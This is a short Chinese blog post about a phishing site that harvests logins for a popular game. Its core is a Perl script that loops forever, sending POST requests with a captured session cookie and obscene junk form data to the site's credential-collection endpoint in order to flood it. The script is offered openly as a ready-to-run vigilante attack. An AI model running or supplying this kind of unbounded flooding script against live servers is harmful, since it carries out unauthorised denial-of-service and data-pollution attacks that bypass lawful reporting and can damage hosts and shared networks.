用perl發送資料到釣魚站

標籤：stat   技術   密碼   uek   add   ie6   car   style   bsp   

一個皮皮果的遊戲很火

估計很多人想黑

偶然發現一個釣魚站:

http://ppgpergame.com/

釣使用者名稱與密碼

抓包後探索資料會發送到: http://ppgpergame.com/db.asp儲存

所以就有了下面的指令碼:

 

 1 my $count = 1; 2 while(1){ 3     use LWP::UserAgent; 4     my $ua = LWP::UserAgent->new(); 5  6     my $req = HTTP::Request->new(POST => ‘http://ppgpergame.com/db.asp‘); 7     $req->content_type(‘application/x-www-form-urlencoded‘); 8     $req->header(‘Cookie‘ => "ASPSESSIONIDQSRSQRQT=JGGPHMLCGNGPMCMHJFEADDIH"); 9     $req->content(‘__VIEWSTATE=xh%2F2rhoU7BXJQVkhLqWlQFoDwiHE5G84c7bOCZBTKr4WqaFqAdRzvf9329qzGj8Gqd2NnXt2xItQJ1zkQ%2BEvzygE96CkbDtlgeRteOtQbfmi6AB8%2FiXJ4jyauiEvN%2BnA&__EVENTVALIDATION=dPbSacZAFdINOCpzCAR9Ie6LceBqX7SSEHcanKlD%2BkxCDfr2M5ZdgZumSxhVCnr92fi6rndo39J5Mb1jGgEoOFsx062FWDQiqGPuEk%2FpK2MqXohxmh38zNOfz%2F60jfP4nDpHTUCP536fgCr%2BOIFVZg%3D%3D&i=%B2%D9%C4%E3%C2%EAB&BtnSave=%C8%B7%C8%CF‘);10 11     my $res = $ua->request($req);12     print "發送代碼為:",$res->status_line,"\n";13     print "第 $count 條資料發送完畢!\n";14     $count ++;15 }

 

post資料大概是 XXXOOOO ni M類型， 不多說

 

 

用perl發送資料到釣魚站